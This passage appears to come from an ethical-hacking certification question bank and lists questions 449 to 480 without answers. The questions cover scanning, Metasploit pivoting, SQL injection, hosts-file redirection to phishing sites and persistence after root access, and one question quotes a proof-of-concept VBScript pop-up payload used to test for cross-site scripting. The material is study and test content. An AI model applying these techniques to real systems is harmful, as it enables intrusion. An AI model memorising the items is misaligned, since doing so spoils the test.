What is his conclusion?
Question449: The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP's Top Ten Project Most Critical Web Application Security Risks?
Question450: This configuration allows NIC to pass all traffic it receives to the Central Processing Unit (CPU), instead of passing only the frames that the controller is intended to receive. Select the option that BEST describes the above statement.
Question451: Which of the following is designed to identify malicious attempts to penetrate systems?
Question452: Which of the following will perform an Xmas scan using NMAP?
Question453: What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?
Question454: A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?
Question455: You have successfully gained access to your client's internal network and successfully comprised a Linux server which is part of the internal IP network. You want to know which Microsoft Windows workstations have file sharing enabled.
Which port would you see listening on these Windows machines in the network?
Question456: What is the process of logging, recording, and resolving events that take place in an organization?
Question457: An NMAP scan of a server shows port 25 is open. What risk could this pose?
Question458: A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field:
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox ("Vulnerable");>"
When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".
Which web applications vulnerability did the analyst discover?
Question459: Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?
Question460: The chance of a hard drive failure is once every three years. The cost to buy a new hard drive is $300. It will require 10 hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns $10/hour.
Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).
What is the closest approximate cost of this replacement and recovery operation per year?
Question461: When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform external and internal penetration testing?
Question462: A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?
Question463: Which of the following is a command line packet analyzer similar to GUI-based Wireshark?
Question464: You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.
What is the best nmap command you will use?
Question465: A security policy will be more accepted by employees if it is consistent and has the support of
Question466: In the OSI model, where does PPTP encryption take place?
Question467: An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to
"
www.MyPersonalBank.com", that the user is directed to a phishing site.
Which file does the attacker need to modify?
Question468: Your company was hired by a small healthcare provider to perform a technical assessment on the network.
What is the best approach for discovering vulnerabilities on a Windows-based computer?
Question469: Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?
Question470: A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect.
A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client.
What is a possible source of this problem?
Question471: In order to have an anonymous Internet surf, which of the following is best choice?
Question472: Which of the following incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an organization?
Question473: ICMP ping and ping sweeps are used to check for active systems and to check
Question474: Which of the following algorithms provides better protection against brute force attacks by using a 160-bit message digest?
Question475: A software tester is randomly generating invalid inputs in an attempt to crash the program. Which of the following is a software testing technique used to determine if a software program properly handles a wide range of invalid input?
Question476: This asymmetry cipher is based on factoring the product of two large prime numbers.
What cipher is described above?
Question477: You are the Systems Administrator for a large corporate organization. You need to monitor all network traffic on your local network for suspicious activities and receive notifications when an attack is occurring.
Which tool would allow you to accomplish this goal?
Question478: Rebecca commonly sees an error on her Windows system that states that a Data Execution Prevention (DEP) error has taken place. Which of the following is most likely taking place?
Question479: A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database.
In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?
Question480: You've just gained root access to a Centos 6 server after days of trying. What tool should you use to maintain access?